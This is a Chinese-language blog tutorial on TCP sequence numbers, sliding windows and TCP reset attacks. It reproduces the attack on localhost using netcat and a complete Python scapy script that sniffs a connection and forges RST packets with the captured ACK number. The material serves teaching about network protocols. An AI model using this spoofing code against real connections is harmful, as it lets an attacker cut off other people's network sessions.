TCP复位攻击的原理和实战复现|课后作业

本文正在参与 “网络协议必知必会”征文活动

TCP概述

TCP是传输层协议,提供面向连接、可靠、有序、字节流传输服务。使用TCP之前,必须先建立TCP连接;TCP通过校验、序列号、确认应答、重发控制、连接管理以及窗口控制等机制实现可靠性传输。 其特点如下: 使用TCP协议之前,必须先建立TCP连接。在传送数据完毕后,必须释放已经建立的TCP连接;

每一条TCP连接只有两个端点,且是点对点的;

通过TCP连接传送的数据,无差错、无丢失、无重复,且有序;

TCP提供全双工通信,允许通信双方的应用进程在任何时候都能发送数据。TCP连接的两端都设有发送缓存和接受缓存,用来临时存放通信的数据;

TCP序列号

TCP协议的通信双方, 都必须维护一个序列号(sequence numbers),对于客户端来说,它会使用服务端的序列号来将接收到的数据按照发送的顺序排列。

当通信双方建立TCP连接时,客户端与服务端都会向对方发送一个随机的初始序列号,这个序列号标识了其发送数据流的第一个字节。TCP报文段包含了TCP头部,它是附加在报文段开头的元数据,序列号就包含在TCP头部中。由于TCP连接是双向的,双方都可以发送数据,所以TCP连接的双方既是发送方也是接收方,每一方都必须分配和管理自己的序列号。

3.webp

当接收方收到一个 TCP 报文段时,它会向发送方返回一个 ACK 应答报文(同时将TCP头部的ACK标志位置1),这个 ACK号就表示接收方期望从发送方收到的下一个字节的序列号。发送方利用这个信息来推断接收方已经成功接收到了序列号为ACK之前的所有字节。

TCP头部格式如下图所示:

一.PNG

一个确认应答报文的TCP头部必须包含两个部分:

ACK标志位置1;

包含确认应答号(ACK number);

TCP总共有6个标志位

二.png

发送方发送了报文后在一段时间内没有收到ACK,会认为报文丢失并重新发送报文,用相同的序列号标记。这样做的好处是,若接收方收到了重复的报文,可以使用序列号来判断是否已接收过这个报文,如果见过则直接丢弃。网络中的报文并不一定按顺序到达,一般分两种情况:

发送的数据包丢失了;

发送的数据包被成功接收,但返回的ACK丢失了;

两种情况都一样,发送方并不能区分,所以只能重新发送数据包。

选择序列号与滑动窗口

构建伪造的重置包时需要选择一个序列号。接收方可以接收序列号不按顺序排列的报文段,但这种容忍是有限度的,如果报文段的序列号与它期望的相差甚远,就会被直接丢弃。因此,一个成功的TCP复位攻击需要构建一个可信的序列号,这又跟滑动窗口有关。

TCP协议栈有一个缓冲区,新到达的数据被放到缓冲区中等待处理。但缓冲区的大小是有限的,一旦缓冲区被填满,多余的数据就会被直接丢弃,也不会返回ACK。因此一旦接收方的缓冲区有了空位,发送方必须重新发送数据。

接收方的滑动窗口大小是指发送方无需等待确认应答,可以持续发送数据的最大值。 TCP连接双方会在建立连接的初始握手阶段通告对方自己窗口的大小,后续还可以动态调整。TCP滑动窗口大小是对网络中可能存在的未确认数据量的硬性限制。TCP规范规定,接收方应该忽略任何序列号在接收窗口之外的数据。

对于大多数TCP报文段来说,滑动窗口的规则告诉了发送方自己可以接收的序列号范围。但对于重置报文来说,序列号的限制更加严格,就是为了抵御一种攻击叫做盲目TCP重置攻击(blind TCP reset attack)。

盲目TCP复位攻击

如果攻击者能够截获通信双方正在交换的信息,攻击者就能读取其数据包上的序列号和确认应答号,并利用这些信息得出伪装的TCP重置报文段的序列号。相反,如果无法截获通信双方的信息,就无法确定重置报文段的序列号,但仍然可以批量发出尽可能多不同序列号的重置报文,以期望猜对其中一个序列号。这就是所谓的盲目TCP重置攻击(blind TCP reset attack)。

复位攻击的工作原理

在TCP复位攻击中,攻击者通过向通信的一方或双方发送伪造的消息,告诉它们立即断开连接,从而使通信双方连接中断。如果客户端收发现到达的报文段对于相关连接而言是不正确的,TCP就会发送一个重置报文段,从而导致TCP连接的快速拆卸。

TCP复位攻击利用这一机制,通过向通信方发送伪造的重置报文段,欺骗通信双方提前关闭TCP连接。如果伪造的重置报文段完全逼真,接收者就会认为它有效,并关闭 TCP 连接,防止连接被用来进一步交换信息。不过,攻击者需要一定的时间来组装和发送伪造的报文,所以一般情况下这种攻击只对长连接有杀伤力。

复位攻击

首先要做的是伪造一个TCP重置报文,要做如下准备:

嗅探通信双方的交换信息。

截获一个ACK标志位置位1的报文段,并读取其ACK号。

伪造一个TCP重置报文段(RST标志位置为1),其序列号等于上面截获的报文的ACK号。为了增加成功率,可以连续发送序列号不同的重置报文。

将伪造的重置报文发送给通信的一方或双方,使其中断连接。

直接用本地计算机通过localhost与自己通信,然后对自己进行TCP复位攻击。

步骤如下:

在两个终端之间建立一个TCP连接。

编写一个能嗅探通信双方数据的攻击程序。

修改攻击程序,伪造并发送重置报文。

建立TCP连接

使用netcat工具来建立TCP连接。打开第一个终端窗口,运行以下命令:

$ nc -nvl 8000
复制代码

这样就启动一个TCP服务,监听端口为8000。接着再打开第二个终端窗口,运行以下命令:

$ nc 127.0.0.1 8000
复制代码

这个是尝试与上面的服务建立连接。 5.PNG

嗅探流量

这里选择用Python网络库 scapy 来读取两个终端窗口之间交换的数据,并将其打印到终端上。调用scapy的嗅探方法:

t = sniff(
        iface='localnet',
        lfilter=is_packet_tcp_client_to_server(localhost_ip, localhost_server_port, localhost_ip),
        prn=log_packet,
        count=50)
复制代码

iface : scapy在localnet网络接口上进行监听。 lfilter :过滤器,过滤不属于指定的TCP连接的数据包。 prn : scapy通过这个函数来操作所有符合lfilter规则的数据包。 count : scapy函数返回之前需要嗅探的数据包数量。

发送伪造的重置报文

发送伪造的TCP重置报文来进行TCP重置攻击。需要修改prn函数就行了,让其检查数据包,提取必要参数,并利用这些参数来伪造TCP重置报文并发送。效果如下:

6.PNG

最后附上完整代码:

from scapy.all import *
import ifaddr
import threading
import random

DEFAULT_WINDOW_SIZE = 2052

conf.L3socket = L3RawSocket

def log(msg, params={}):
    formatted_params = " ".join([f"{k}={v}" for k, v in params.items()])
    print(f"{msg} {formatted_params}")

def is_adapter_localhost(adapter, localhost_ip):
    return len([ip for ip in adapter.ips if ip.ip == localhost_ip]) > 0

def is_packet_on_tcp_conn(server_ip, server_port, client_ip):
    def f(p):
        return (
            is_packet_tcp_server_to_client(server_ip, server_port, client_ip)(p) or
            is_packet_tcp_client_to_server(server_ip, server_port, client_ip)(p)
        )

    return f


def is_packet_tcp_server_to_client(server_ip, server_port, client_ip):
    def f(p):
        if not p.haslayer(TCP):
            return False

        src_ip = p[IP].src
        src_port = p[TCP].sport
        dst_ip = p[IP].dst

        return src_ip == server_ip and src_port == server_port and dst_ip == client_ip

    return f


def is_packet_tcp_client_to_server(server_ip, server_port, client_ip):
    def f(p):
        if not p.haslayer(TCP):
            return False

        src_ip = p[IP].src
        dst_ip = p[IP].dst
        dst_port = p[TCP].dport

        return src_ip == client_ip and dst_ip == server_ip and dst_port == server_port

    return f


def send_reset(iface, seq_jitter=0, ignore_syn=True):
    """Set seq_jitter to be non-zero in order to prove to yourself that the
    sequence number of a RST segment does indeed need to be exactly equal
    to the last sequence number ACK-ed by the receiver"""
    def f(p):
        src_ip = p[IP].src
        src_port = p[TCP].sport
        dst_ip = p[IP].dst
        dst_port = p[TCP].dport
        seq = p[TCP].seq
        ack = p[TCP].ack
        flags = p[TCP].flags

        log(
            "Grabbed packet",
            {
                "src_ip": src_ip,
                "dst_ip": dst_ip,
                "src_port": src_port,
                "dst_port": dst_port,
                "seq": seq,
                "ack": ack,
            }
        )

        if "S" in flags and ignore_syn:
            print("Packet has SYN flag, not sending RST")
            return

        # Don't allow a -ve seq
        jitter = random.randint(max(-seq_jitter, -seq), seq_jitter)
        if jitter == 0:
            print("jitter == 0, this RST packet should close the connection")

        rst_seq = ack + jitter
        p = IP(src=dst_ip, dst=src_ip) / TCP(sport=dst_port, dport=src_port, flags="R", window=DEFAULT_WINDOW_SIZE, seq=rst_seq)

        log(
            "Sending RST packet...",
            {
                "orig_ack": ack,
                "jitter": jitter,
                "seq": rst_seq,    
            },
        )

        send(p, verbose=0, iface=iface)

    return f

def log_packet(p):
    """This prints a big pile of debug information. We could make a prettier
    log function if we wanted."""
    return p.show()


if __name__ == "__main__":
    localhost_ip = "127.0.0.1"
    local_ifaces = [
        adapter.name for adapter in ifaddr.get_adapters()
        if is_adapter_localhost(adapter, localhost_ip)
    ]

    iface = local_ifaces[0]

    localhost_server_port = 8000

    log("Starting sniff...")
    t = sniff(
        iface=iface,
        count=50,
        # prn=send_reset(iface),
        prn=log_packet,
        lfilter=is_packet_tcp_client_to_server(localhost_ip, localhost_server_port, localhost_ip))
    log("Finished sniffing!")
复制代码

猜你喜欢

转载自juejin.im/post/7036535891094929438